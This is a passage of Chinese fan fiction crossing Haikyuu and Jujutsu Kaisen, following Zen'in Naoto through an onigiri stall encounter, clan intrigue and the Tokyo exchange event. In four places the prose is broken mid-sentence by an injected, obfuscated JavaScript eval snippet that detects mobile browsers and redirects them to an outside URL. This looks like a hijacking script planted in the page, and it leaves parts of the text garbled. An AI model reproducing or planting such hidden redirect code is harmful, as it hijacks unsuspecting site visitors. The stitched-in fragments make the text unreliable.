从这位客人排进队伍的时候就注意到了。 很高挑的个子。 虽然因为读书的时候打排球,以及现在有个打职业的兄弟的缘故,宫治见过的高个男性数不胜数,超过两米的也有不少。 但眼前这位。 宫治有些难为情,但不得不承认,这位客人的五官相当漂亮。 穿着略显宽松的黑色衬衫,看得出身形偏瘦。即使是这样的温度也规整地穿了内衬,扣子系到最上面。 现下站在了宫治面前,几乎完全挡住了外面的光线,但这位有修养的客人略微俯下身,让宫治连带着他被头发略微遮挡的眼睛也看得一清二楚。 虽然眼下泛着乌青,眼窝微陷,眼睫没精打采地半垂着,但也完全不影响他过于卓越的外表。 根本就是……如果变成女人,也绝对是大美女的长相。 “……这几个,麻烦两个一组打包吧。” 直人点了点数量,刚好。 “全都要吗?”回过神的宫治微微诧异,橱窗里的饭团还剩下13个。 “是。”直人指着仅剩一个的烤鳕鱼子口味的饭团,说:“这个单独拿出来给我,剩下的两个一组,麻烦了。” “好的。小心烫。”宫治手法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宫治有些迟疑,还是抱歉地说:“不好意思,饭团已经售罄了。” 加茂川很大声地诶了一声,又看向直人:“你这家伙全买光了吗?” 直人扯了个僵硬的笑。 “真是的——”加茂川长吁短叹起来,“这天气真热呀,也亏你能穿那么多。”话说着,他竟还伸手上来扯直人的衣领,但被直人侧身避开。 加茂川毫不受影响,继续说:“你也是被打发出来做护卫的吧,真是过分,什么苦活累活都丢给我们。” “可是谁叫我们是这样的出身呢,要怪只能怪命不好,就是个干杂役的命,哈哈。” 听着加茂川刻意的抱怨,直人并不予回复。只从钱包里抽出钞票递给宫治,示意他不用理会。 “我说,”加茂川搭在直人身上的手拍了拍他的肩膀,视线不怀好意地落在直人手上的饭团上:“难得见一次,请我吃个饭团不过分吧?” 直人没吭声,但加茂川已经径直伸手从他手里拿过饭团,并扯开包装,当场大口咀嚼起来。 饭粒和内馅粘在他的嘴角,还有不少随着他粗鲁的吃相洒落在地上。 宫治皱眉,他看了眼依旧没什么表情的直人,想要出声阻拦。 但直人只是对着他笑了下,伸手接过已经打包好的饭团:“待会会有人来清理。” “但是——”宫治在意的并不是这一点,而是—— 加茂川观察着直人的反应,揶揄:“你还是那么安静,直人。” 直人并不看他,说:“因为我讨厌噪音。” 加茂川笑了几声,把剩下的半个饭团连带着包装塞回直人手里,贴近直人的脸侧,用三个人都能听见的音量说: “但是我听说,不会叫的狗会咬人,这是真的吗?” 9. 【五】 “哈哈——对不起,你又要去和你的哥哥告状吗?我可没有什么别的意思,还请原谅我吧。” 加茂川像模像样地对直人作了个揖,然后大摇大摆地转身离开。 直人站在原地,看着加茂川的背影消失。手里的半个饭团已经凉透,米粒变得干硬。 直人只看了眼,胃袋就开始泛酸,恶心得想吐。 “那个丢了吧,”宫治的声音从摊后传来,他从旁边的保温箱里又翻出一个更大的饭团递给直人:“这个是金枪鱼口味的,不知道你喜不喜欢。” 直人没接,看着宫治手里的饭团,又看向宫治,对方的眼睛里并没有什么不好的情绪,很干净。 “为什么?”他问。 宫治的手还举着:“看你刚才没吃上。” “我付过钱了。”直人说。 “这是送的。”宫治往前递了递,“算我请你。” 直人沉默片刻,接过饭团。饭团带着保温箱的余温,透过包装纸触及掌心。 “谢谢。”他说。 宫治开始收拾摊位,把用具一件件收进箱子里。直人站在旁边,慢慢拆开饭团包装。米粒饱满,金枪鱼和葱花的香气飘出来。 他咬了一口。温热的,刚好入口。 “你兄弟的比赛,”直人忽然开口,“会赢吗?” 宫治停下手里的活,咧嘴笑了:“这怎么说得准,比赛都是有输有赢的。但是那家伙的话,表现肯定不会差的。” 直人又咬了一口饭团,咀嚼得很慢。 他其实不太习惯当街吃东西,但他此刻的食欲实在有些急迫。 远处传来观众的欢呼声,比赛似乎开始了。宫治朝体育馆方向望了一眼,继续低头收拾。 “很抱歉,耽误你的时间了。”直人说。 “没关系。”宫治把最后一个箱子搬上推车,“反正那家伙嘚瑟的臭脸什么时候都能看到。” 宫治把抹布叠好塞进围裙口袋,又停下来看向直人,犹豫了一会儿才说:“这世界上总有些很讨厌的家伙。” 他的语气很平常,“就像米饭里偶尔会混进没淘干净的沙子,硌牙,但吐掉就好了。” 他拉上小推车的刹把,发出咔哒一声轻响。 “不过大多数米饭还是好的。”宫治转头看向直人,灰褐色的眼睛在帽檐下显得很安静,“至少能吃饱。” 意识到宫治是在安慰自己,直人看了看手里吃了一半的饭团,金枪鱼的油脂浸润了米粒,又抬头向宫治笑了笑:“多谢。” “请问,您平时也在这附近吗?” “噢,没有,我的店开在大阪。” 宫治抽出一张名片递给直人,露出一个笑:“要是来大阪的话,可以来支持支持我的生意。” 直人接过,看清上面在姓名一栏写着宫治,才塞进胸前的口袋。 “一定。” 顿了顿,直人又介绍自己的名字:“禅院直人。” “真是少见的姓氏!……噢,抱歉,只是觉得很厉害,请不要多想。” “没关系。” 宫治把车锁好,从摊位后面走出来:“要一起进去吗?禅院先生。” 他站在直人面前,直人才发现宫治其实只比他矮了一点点。 直人点点头,转身和宫治一起进入体育馆。两个人其实都不是话多的性格,所以没有再怎么交谈。 两人进入场馆,喧闹声浪扑面而来。看台上座无虚席,观众们随着比赛的节奏欢呼呐喊。 兰太就守在门口,躯俱留其余几人也按照安排,零零散散地靠在过道。 兰太见他回来,立刻凑过来:“直人哥,你回来了!” 他看见直人身旁的宫治,顿时噤声,视线在宫治和直人身上打转,最后看向直人的眼神有些紧张:“直人哥,这是……” “饭团店的老板。”直人简短地介绍了一下,又和宫治道别:“我们就不打扰了。” 宫治知趣地点头,道过别后没多问就走向了自己的座位。 直人把装着饭团的袋子递给兰太,让他拿去和其他人分了。 “哇!谢谢直人哥!”兰太惊喜地接过去,抱着袋子跑向分散在各处的队员。 直人走到看台角落,这里相对安静,也能看清整个区域的动向。他从口袋里摸出宫治给的名片,又看了一遍。 “饭团宫,宫治。” 他把名片翻过来,背面只印着店铺的名字。纸质普通,设计简单。 直人将名片重新塞回口袋。 场内的欢呼声陡然升高,记分牌上的数字跳动。直人对排球一窍不通,但能看出是宫治兄弟所在的队伍得分了。 宫治的双胞胎兄弟居然正好是染着金发的那个,大屏上转播的面部特写的确和宫治长得一样。 他移开视线,看向场下那个穿着队服的金发选手,正和队友击掌。笑得很灿烂,和宫治截然相反。 确实是很惹眼的金色。直人想。 兰太分完饭团又跑回来坐在直人身边,他一边大口吃饭团,一边和直人小声抱怨:“直人哥,你刚才吓死我了。” “直哉让你盯着我,不许和别的男人搭讪?”直人头也不回,淡淡地说。 兰太一噎,连忙辩解:“没有没有,绝对没有啊!” 直人没理会,自从直哉知道他喜欢男人后,恨不得给他的裤腰带上把锁,成天一惊一乍,虚空索敌。 “没有就好。” 兰太几口吃完饭团,舔了舔指尖的米粒,小声说:“直人哥,那个老板……人长得还挺好的。” “嗯。” “他的饭团也很好吃。” “嗯。” 兰太偷偷瞄着直人的侧脸,见他没什么反应,便终于松了口气,安静下来。 直人掏出手机,划走一些无关紧要的短信,点进直哉的对话框,才发现他上午刚染完发就迫不及待拍了自拍来炫耀。 没得到直人的回应,还连打了几个电话骚扰。 一连串消息显示已读后,半晌,直哉那边也没有发新的消息过来。 要是以往,直哉肯定已经在聊天框里各种抱怨,催促他赶紧回去了。 看来这次真的把他气够呛。 任务结束,回到禅院家时,天色已经暗沉。 直人穿过长廊,直接去了直哉的院子。房间里亮着灯,直哉正躺在旁边沙发上翘着脚看杂志,耳廓上的耳环晃来晃去。 本来应该是他坐的办公的位置,坐着禅院风介。 “回来了?”直哉眼皮都没抬,“那种无聊的任务,也值得浪费这么久。” 风介看了他一眼,抬抬手里的笔算打过招呼了。 风介是直哉为数不多的亲信,和直人关系也还不错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887250|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>直人在直哉对面坐下,把专门绕路去买的和果子放在桌上。 直哉看都不看一眼,嗤了一声:“这算是你道歉的手段?” 直人没接话,只是安静地坐在那里。 直哉自顾自地挑剔起来:“就一盒和果子?打发叫花子呢,还没家里厨子做的好。” “不是说今晚上不回来了吗,我还以为你真硬气起来了。” 直人还是不说话。 半天得不到回应的直哉终于放下杂志,皱着眉头看他:“你哑巴了?” 他放下翘着的腿,转身面对直人:“之前就说过,那种杂活交给别人干就好了,你自己非要去。” 风介抬头,了然地说:“多半是在外面又遇到不顺心的事了吧。” 直哉一愣,看着直人垂着眼,面无表情的样子,嗤笑:“谁还敢给他委屈受。” “我记得,这次任务五条和加茂都有人去。”风介声音平静,手下的动作没停过。 直哉斜靠在沙发扶手上,单手撑着脖子,抬抬下巴:“问你呢,遇到谁了?” 直人终于开口了:“没事,就有点累。” 直哉冷笑,抓起杂志朝直人脸上丢过去:“那你摆出这幅样子给谁看。” “到底怎么回事?” 直人没躲,硬生生挨了一下,把掉在地上的杂志捡起来放在桌上,才说:“他们说我是狗。” 直哉脸上的笑淡了下去,盯着直人看了半晌:“谁说的?” “直贺的表哥,加茂川。” “他怎么说的?” “他说不会叫的狗咬人。” 直哉笑出声:“他说得倒也没错。”虽然这么说着,但他脸上没有半分笑意。 直人又说:“他还抢了我的饭团。” “……”直哉探身一把揪住直人的衣领,“你是废物吗,你就让他抢?” “我又打不过他。”直人别开脸,说话相当坦然。 直哉深吸一口气。 “你的账我下次再和你算!”他松开手把直人往后一推,随即起身理了理头发,声音满是不屑:“直贺也就算了,就连他那个连术式都没有的表哥也敢在我面前蹦跶。” 风介放下笔:“我说,你不会准备把他也杀了吧?” “不然呢?反正直贺也要死了,正好送他两兄弟一起团聚。” 风介叹了口气,看着眼前的双胞胎身心俱疲:“他刚得罪直人,没两天就死了,不摆明了是你俩干的吗?” “那又怎么样,正好让他们知道得罪我的下场。” 风介又把目光投向直人,后者若无其事地避开他的视线。 他就知道,这对双胞胎本质都差不多。 直人看着人畜无害,其实心胸也只比直哉宽阔了那么一点,他被直哉惯坏了。 风介笑:“怎么不让直人老相好去,反正他是诅咒师,干这事正好,算加班。” 过了几秒,见没人吭声,风介只能自己把自己的冷笑话接上:“我忘了,他只讨厌猴子,不杀咒术师。” 直哉脸色更难看了,一双狐狸眼瞪得溜圆,他看向直人,恶声恶气:“你和他断干净了吧?” 直人不情不愿地正正衣领:“他都骂我猴子了,我还眼巴巴往上贴,我犯贱?” “行了,加茂川的事情交给我,你们两个就少操些心吧。”风介一锤定音。 10. 【六】 加茂川被赶出加茂的消息,在两天后的傍晚传到了直人这里。 据说他为了投靠加茂宪纪,私下里说了些家主嫡长子加茂宪德的坏话以表忠心,不巧正被当事人听个正着。 结果被暴怒的宪德当场打断了腿。 由于在场的人众多,为了颜面,加茂家主不好发作,只罚了加茂宪德两天禁闭。至于加茂川,被冠上不敬尊长的罪名赶出了加茂。 直哉知道后,嗤笑一声:“居然让他捡回一条命。这种人死了才好,或者撕烂他的嘴,省得在外面乱咬人。” 风介也没料想到是这个结果:“加茂家主居然还是个以慈悲为怀的。” 直人并未对此做出评判。 直哉以为他还不解气,不以为意地嘲笑他:“他都只能在地上爬了,你总打得过了吧?等过段时间别人都把他忘了,你把他牵回来当狗养都没人管你。” 直人没接直哉的话,他从桌上抽出几张躯俱留的任务单,起身往外走。 直哉对他这副做派习以为常,等直人路过他的时候他一脚踹在直人屁股上:“叫惠子过来,我可有些时候没见到她的乖女儿们了,做哥哥的还有些想念呢。” 直人闻言,回头居高临下地看着横躺在沙发上的直哉,直哉的脸上又露出那种,酝酿着坏心思的表情。 直哉有一张实在标志的脸蛋,笑起来的时候眼睛眯成弯弯的两条缝,嘴角得意地翘着。 他很会扮乖,用女高中生那样的口吻,黏糊糊地说出各种尖酸刻薄的话,但脸上还是诚挚乖巧的笑容。 怎么能那么漂亮呢? 虽然是双胞胎,但直人总觉得直哉比自己更漂亮。 他沉闷阴郁,又因为瘦被人嘲讽走起路来像鬼,但直哉不一样,他总是很明媚的,身形结实匀称,无论走到哪里都能听见他轻快的声音。 有些时候他的确过于吵闹了,让直人难免心烦。 但不得不承认,当听到直哉因为高兴笑出来的时候,直人心里隐隐似乎也感到了些许快乐。 双胞胎的身份好像可以把直哉所获得的幸福也分给直人一份。 他心想,这是直哉该得的。 这么好看的孩子,又拥有那么好的术式,还愿意为此努力,一日不停地刻苦训练,很早就成了一级术师,会有谁不肯爱他。 他只是性格差了一点而已,但这样完美的人,因为被娇纵而变得跋扈是再正常不过的。 怨恨直哉的人不过是嫉妒了,他们不能让直哉高兴就是他们的罪过。 这些念头很荒谬,但是是真切地在直人脑海中存在过。 直人一直以为自己应该是讨厌直哉的。 明明是双胞胎兄弟。 明明母亲也不知道谁是哥哥谁是弟弟。 就因为直哉拥有咒力,又觉醒了和直毘人一样的术式。 所以他成了弟弟,成了兄长的仆人。 在惠子的女儿们——真希和真依出生后,直人又成了哥哥,但直哉却认为不过是两个老废物又生下了两个小废物。 直人试着去保护她们,可直哉总是故意当着他的面,把真依和真希踩在脚底。 看着妹妹们遍布淤青的皮肤,看着她们不断涌出滴落的泪水,看着她们乖乖依偎在自己怀里喊自己哥哥。 怎么可能不恨呢? 但是,当直人站在直哉面前,看见对方那样无辜的表情,看见对方仍然愿意牵着他的手。 直人又什么都说不出口了。 直哉是他那样悲观绝望的生活里唯一的一点光亮。 直哉只是在这样的教养下长大的而已,他什么都不懂,不能全部都是他的错。 “惠子今天在扇叔父那里。” 直人留下这句话,不再看直哉别有意味的脸色,离开了房间。 他往直毘人的院子走,在路上遇见了直贺。 直贺比直人年长两岁,但始终像他的母亲,是个感性且愚蠢的人。 他在下人中的人缘很不错,不论是在炳,还是在躯俱留,都有一大群愿意和他来往的人。 即使对方只把他当做可以利用的傻瓜,他也愿意倾听对方编造的身世,然后为此落下几滴眼泪。 直贺很珍视加茂川。 在血缘关系淡薄的禅院,直贺没有关系亲近的兄弟,只能将多余的情感全部寄托于这个表兄,尽管加茂川也只是想借他的名头在外招摇。 此刻的直贺满面愁容,看得出加茂川的事情对他影响很大。 “直人。”看到直人,直贺勉强精神振作起来。 直人虽然沉默,但他是众多兄弟中,少数愿意倾听他心事的。 直人停下脚步,微一颔首:“直贺哥。” 直贺苦笑,看了眼直人手中的文件:“你是去找父亲的吗?” “是的。” 直贺看向廊外庭院的景色,感慨:“有时候,我真的挺羡慕你和直哉。” 直人没有接话。 “虽然人人都说双胞胎不详。但是,一出生就有人作伴,彼此信任,互为依靠,这不是很好吗?” 一阵风拂过,额前的发丝晃动,挡住了直人的眼睛。他垂眼看身旁喋喋不休的直贺,心想,这蠢货说话真是有够中听的。 “直贺哥,”直人打断他,微笑道:“父亲还在等我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887251|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直贺忙不迭地道歉,让开路和直人道别。 走出几步后,直人回头,看直贺颓然的背影在拐角消失,才停在父亲门前,等候传唤。 直毘人的心情也不明朗。 拿过直人递交的任务单只随意瞟了两眼就丢在角落:“这种东西以后不用再拿来给我。” “是。” 直人后退一步,低着头,等直毘人的吩咐。 直毘人揉了揉眉心,往后仰倒在椅背上:“你进来的时候遇到直贺了?” “是。” 直毘人冷哼一声:“软弱的家伙。不过是加茂家的表亲,也值得让他念念不忘。” 平时直贺和加茂家的人来往,直毘人都睁一只眼闭一只眼。 但前阵子,那个加茂川顶着直贺的名号,在外面惹是生非。 毕竟是他直毘人的儿子,不可能再这样放任下去。 本来以为那个加茂川被打断腿赶出加茂就消停了,结果炳的暗卫又传来消息,说直贺偷偷接济加茂川,还特意为加茂川租了房子。 要是让加茂的人知道了,他直毘人的脸面往哪放。 直人轻声为直贺开脱:“直贺兄长……只是看重情义。” 直人稍作停顿,斟酌着说:“刚在廊下遇见直贺兄长,他还同我说,很羡慕我与直哉互为手足。” 直毘人从鼻子里发出一声意味不明的哼响,示意他继续说。 “直贺兄长他渴望也能有一个同母所出的亲兄弟,但藤子夫人又只有他一个儿子……”直人的语调里带上恰到好处的迟疑:“或许直贺兄长是把加茂川当做亲兄弟看待,所以,所以才会——” 在直毘人的注视下,直人的声音渐渐消失了。 他垂下眼,安静地立在原地。 直毘人听完,脸上没什么表情,只是拿起手边的酒壶灌了一口,半晌,才嗤笑道:“亲兄弟?” “我的儿子,把加茂家的小子,看做亲兄弟。” “所以我才不赞成儿子由女人抚养,女人养大的儿子也像女人。” 直人默不作声。 直毘人挥了挥手,显然不愿再谈:“行了,你下去吧。” “是。”直人躬身,退出了房间。 隔天,直哉开完早会带来消息,说直贺被调到东京乡下清剿咒灵。 “我说,”直哉敲了敲桌面,直人仰头看向自己的兄弟。直哉露出一个笑,狡黠又可爱:“你当时,是不是说他喜欢在东京骑摩托来着?” “是。”直人低头在文件的签字栏盖下红章,语气平淡:“正好马上要去东京参加交流会,就让我们顺路去拜访一下我们的兄长吧。” 11. 【七】 交流会前一夜,直人和直哉才抵达东京咒术高专。 本来他们应该和京都咒术高专的老师和学生一起出发的,但出于直哉对与众不同这件事的坚持,他俩单独出行,且成了最后到场的。 到校门口的时候,只有伊地知洁高等在这里。见到他们,快步迎了上来:“直哉先生、直人前辈,五条先生和其他——” 直哉看也没看他,径直越过他朝前走去,只丢下一句:“带路。” 直人经过他身边时,略微颔首,算是打过了招呼。 伊地知只是微微一愣,但他也不是第一次接触直哉,所以没太受影响,马上跟了上去。 直哉的视线四处打量,走路的时候踢开脚边的石子,发出咔哒咔哒的声音。 他忽然长叹一声,惹得伊地知和直人都看了过去,才用亲呢的语气感慨:“我想,夜蛾先生一定是个恋旧的人。” 直人没应声,只抬了抬眼皮看他。 直哉也不在意,自顾自地继续往下说,声音拖得长长的:“已经过去——啊呀,快十年了吧,那时候直人还在这里读书呢,真是一段美好的青春回忆。” “真没想到,贵校一切如初,让人仿佛重回青葱时代。” 他转眼看向伊地知洁高:“伊地知君,你说是吧?” 伊地知洁高干巴巴地点头:“您说的是。” 直哉满意地转回头,继续目视前方。 被引到会客室的时候,虽然已经入夜,但里面仍坐了不少人,都是两边学校的老师,还有几个五条和加茂家来的人。 直哉和直人进去的时候,里面原本细碎的交谈声戛然而止。 所有眼睛都转向门口,目光整齐地落在刚进来的两人身上。 五条悟就坐在最靠近门口的位置,两条腿惬意地搭在桌子上,就算隔着眼罩,直人也能感觉到他望过来的视线。 和他隔了条过道的座位放着“禅院”的名牌,直人有些烦闷,索性别开脸,向坐在讲台上的夜蛾正道点头致意。 直哉对这片寂静毫不在意,或者说,他很享受这种受人瞩目的感觉。 “晚上好,诸君——”他轻快地走到房间中央,脸上挂着恰到好处的笑容。 在没得到回应后,直哉讶异地张开嘴,看向直人,刻意用慌张的声音问道:“糟糕,难道我们迟到了吗?” 直人看了眼挂钟,声音低稳:“距离会议开始还有十分钟。” 直哉脸上笑意加深,朝坐在台上的夜蛾正道抬抬手,又看向台下的人,双手合十,用苦恼的腔调说道:“真是抱歉——我们也想早一点到的,但我实在是太忙了,大家能体谅的对吧?” “不过,没有迟到真是太好了。” 坐在后排的庵歌姬面部扭曲一瞬,禅院直哉和五条悟,这两个人渣让她挑不出一个最讨厌的,都贱得各有千秋。 夜蛾正道揉了揉眉心,声音疲惫:“既然到了,就先入座吧。” 直哉嘴角挂着轻飘飘的笑,找到自己的座位坐下。 会客室的座位安排得松散,京都校与东京校的人自然地分坐两侧。禅院家的位置被单独安排在靠窗的一列,与众人隔开些距离。 直哉对此很满意,他向来不喜欢和杂鱼挤在一起。 直人跟在他身后,在靠过道的位置坐下。他们这桌只有他们两人。 过道的另一侧,五条悟独自占着一整张长桌,两条长腿随意地支在地上,眼罩后的视线不知落在何处。 直哉的屁股刚沾椅子,目光就飘向了过道对面。 又来了。 直人低着头,身体前倾,胳膊撑在桌面上,正好挡住直哉的视线。 直哉恶狠狠地剜了直人一眼,手把直人往后一扯,再看向五条悟的时候脸上堆起一个过分热情的笑。 “悟君,”他叫得很熟稔,“许久不见,近来可好?” 五条悟像是没听见,下颌微抬,视线望向正在念稿的夜蛾正道。 直哉脸上的笑容僵了一瞬。 直人垂下眼,盯着自己面前光洁的桌面。他感到呼吸急促,还是来了。 他讨厌五条悟。 五条悟是百年一遇的六眼,公认的当今最强。只要他存在,其他术师便都失了颜色。直哉也不例外。 小时候,直人一直坚信觉醒了和父亲相同术式的直哉才是最厉害的。 直哉有最好的天赋,也愿意付出最多的汗水。 所以直哉才能在所有人面前高昂着头,把看不顺眼的家伙统统踢开。 可直哉亲口说,五条悟才是真正的强者。 当时直哉脸上那种神情——是憧憬,敬畏,还是别的什么,直人分不清也不愿去细想,只觉得胸口发闷。 那种表情出现在直哉脸上,让他难以接受。 也正是这个五条悟,总能轻易让直哉难堪。面对直哉有意的讨好,他总是视若无物。 为什么? 直人原以为直哉会将这份憧憬转为怨恨,但直哉却说,只有他们那样的强者才能互相理解。 简直可笑。 谁都看得出来,五条悟根本看不上直哉,看不上禅院,看不上老橘子,也看不上老橘子生的小橘子。 可是为什么即使如此,那么骄傲的直哉还是要一如既往地把目光放在五条悟身上。 每当直哉因为五条悟陷入窘境,一旁目睹一切的直人,仿佛也替他承担了一半,那样的感受。 所以他讨厌五条悟。 还是沉默。 直人再也无法忍受这种仿佛下一秒就要天崩地裂的死寂,他转过脸,平静地看向过道另一侧的五条悟。 几乎是在他看过去的瞬间,五条悟的头微微偏转了一个极小的角度,眼罩似乎正对向直人。 他嘴角翘了翘,还是那种恶劣的,戏弄一样的笑。 在他开口说话之前,直人的眼睛微微地向身旁,直哉的方向动了一下。 五条悟静默了两秒,然后,他像是才注意到旁边有人似的,慢悠悠地把头完全转过来,面对直哉。他扯了扯嘴角,露出一个算不上笑的表情。 “哦。”他发出一个短促的音节,声音里听不出什么波澜,“是你啊。” 说完,他便转回头,重新看向前方。 直哉却像是得到了什么认可,刚刚那点不悦立刻烟消云散,嘴角又重新翘了起来。 直人贴放在桌面的掌心濡湿,他并没有感到化解危机的轻松,看着直哉仅仅因为一句答复就明朗的心情,反而更加烦闷。 会议并没有持续多久,不过是讲些客套话而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887252|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直哉和直人也是代表禅院露个面,并没有工作分配给他们,只需要按时参加明天的开幕。 听到夜蛾正道宣布会议结束,直人率先起身往外走,路过五条悟的时候并没有分给他一丝余光。 直哉莫名其妙地跟在他后面,不满地抱怨他居然没让哥哥走在前面。 伊地知追上他俩,说要带他们去校舍。 走廊里只听得见三人的脚步声。 伊地知走在最前,小心地保持着距离。直哉双手插在口袋里,步子迈得轻盈,耳廓上的金属环随着步伐轻轻晃动。 宿舍楼有些年头了,木地板踩上去会发出轻微的吱呀声。伊地知在一扇门前停住,掏出钥匙打开房门。 “这是为您准备的房间,直哉先生。” 直哉站在门口朝里扫了一眼,眉头立刻皱了起来。他没用伊地知让开,侧身挤进房间,在屋里转了一圈。 “就这么大?”他站在房间中央,语气不悦。 伊地知站在门外,脸上露出为难的神色:“高专的宿舍都是这个规格……” 其实东京院校的校舍已经不小了,但对直哉来说,住这样的房间堪称辛苦。 直哉啧了一声,没再说什么。 “直人前辈的房间在隔壁。”伊地知说着,就要往旁边走。 直哉和直人互相看了一眼。 “我们住一起。”直哉说得理所当然。 伊地知愣住了,视线在两人之间来回移动:“可是……房间已经安排好了……” 直人没说话,率先移开视线,双手环胸靠在墙上,一副事不关己的样子。 直哉光是看着就想冒火。 他不耐烦地摆手赶伊地知出去:“把隔壁的被褥搬过来就行。” 伊地知张了张嘴,看了直人一眼后还是把话咽了回去,点头应下。 带上门,直哉脱下上衣随手搭在椅子上,直人走到窗边拉上窗帘,直哉开始脱里衣。 从会议结束到现在,直人没主动和直哉说过一句话。 虽然他平时也很少说话。 但直哉敏锐地察觉到不一样。 直哉盯着直人看了会儿,突然开口:“你从刚才开始就不对劲。” 直人没理他。 直哉走到直人身边:“你又在闹什么别扭?” 直人低着头,眼睛从刘海下面怏怏地斜了直哉几眼,还是没说话。 直哉等了一会儿,见他没有要回答的意思,转身蹬掉裤子,骂了句脏话。 “趁我现在还好说话,你有事直说。” 直哉一直觉得,直人是个很难搞的贱人。 他从来不主动说他又因为什么不高兴,就闷着个死人脸等人去猜。 直人心里更火了。他还在记恨五条悟的事。 他径直往门口走,拧开门锁要出去。 “你上哪去?”直哉的声音忽然变得很危险。 顶灯的光影打在直哉的脸上,显得可怕。 直人转头和他对视了一阵,他直直地看着直哉的眼睛,半晌,说:“我去隔壁拿被子。” 直哉冷哼:“你睡隔壁我都没意见。” 咔哒一声,门开了,直人刚跨过门槛,直哉的声音又追出来:“你真敢睡隔壁你就死了。” 12. 【八】 直人关上门。 走廊里很安静,没有其他的人。 伊地知听到动静从隔壁房间出来,他看到直人一个人,身体姿态略微放松了点,他指了指房间里面:“直人前辈,被褥……” 直人走过去,拿过他手里的钥匙:“我自己拿就行,你回去休息吧。” “好的。”伊地知临转身前又回头:“如果有需要,前辈请随时联系我。” “辛苦了。”直人点点头。 等伊地知的身影消失,声控灯一盏盏的熄灭,昏暗的走廊里只剩下直人。 夏夜的空气湿热黏腻,堵在廊道不见流通,直人嘴唇发干,拉了拉领口,索性把外套脱下来搭在门把手上,往出口走。 贩卖机还放在原来的位置,散发出嗡嗡的运转声,在阴暗的楼梯拐角透出白光。 直人停在跟前,视线一排排地扫过。 “不喝苏打水吗?” 五条的声音从身后传过来,他穿着高专制服,影子清晰地映在玻璃柜门上。 直人并没有感到意外,他回头,两人相差无几的身高让他正好对上五条悟的眼睛。 五条悟的左手拎着他的眼罩,白色的头发柔顺的垂下来,蓝色双眼在夜色里也璀璨夺目。 他倚着墙,任由直人打量。 片刻沉默,直人收回视线,手指向五条说的苏打水:“那就这个,付钱吧。” “哈——还真是有恃无恐。”五条悟笑出来,把眼罩重新戴回去,起身走到直人身边:“看来我猜对了?” 说着,他掏出钱夹,从中抽出一张纸币。 在他按下选项后,直人补充了一句:“要两瓶。” 五条悟垮着脸,拖长音调:“可是人家不爱喝这个诶——” 直人没吭声,只是静静地看着他。 贩卖机的灯光把他的半张脸映得有些苍白。 五条悟的目光落在直人的左臂,从袖子里延伸出的黑蛇缠绕在枯枝上,灰黑的哑色调让这条没吐信子的蛇看起来像哑巴。 五条悟记得直人最开始只在胸肩连接的地方纹了梅花枝,据说是为了修饰以前留下的伤——五条悟觉得这根本就是个幌子,因为硝子说要帮他把伤疤消掉,他拒绝了。 总之,直人迷恋上了纹身这件事。 五条悟的视线最后停在直人的左胯,他知道那里有一只狐狸。 “直哉还在等我。” 直人转身面对贩卖机,左半身重新转回阴影。 …… 五条悟撇撇嘴,还是又按了一次按钮。 两罐苏打水接连滚落,发出沉闷的声响。 直人弯腰取出一瓶,拉开拉环,喝了一口,过分冰凉的口感让他皱了皱眉。 五条悟拿起另一罐,在手里抛接着玩。 “我们明天开幕结束就走,别惹直哉。”直人看着柜门上两人的影子,声音没什么起伏。 五条悟低头,脚尖碾着地板的纹路:“这话你应该对他说。” “哦,我忘了。”他的声音轻悠悠的,转头对直人笑:“你劝不住他。” “知道我每次都会妥协,所以才单单对我严格要求,真令我难过。” 直人没有接话,只是说:“别让我的哥哥下不来台。” 他转过脸,目光对上五条悟黑漆漆的眼罩,嘴唇微微张合:“拜托了。” 五条悟的笑容渐渐收敛,移开视线,将手里那罐苏打水递出去:“好歹是学弟,说话可真生分。” “作为感谢,下次请你吃饭。” 直人伸手握住瓶口,但五条悟没松手。 “下次是什么时候?” 五条悟追问。 直人仰着脑袋,想了一下,声音平平地说:“你给我打电话的时候吧。” 五条悟嗤笑:“一张口就是这么让人心动的情话,怪不得哄得住他。” 直人对他时常的抽风习以为常,他用力将易拉罐抽出来,在五条悟面前晃了晃:“我会转告我哥哥你的好意的。” 没有继续交谈下去的打算,直人拎着两罐苏打水往回走,但五条悟的声音又从身后越过来: “所以我真的猜对了,是不是?” 直人停下脚步侧过身,五条悟掀起眼罩的一端,露出他的左眼。 “你可以看见吧?” 直人垂下眼,没有回答。 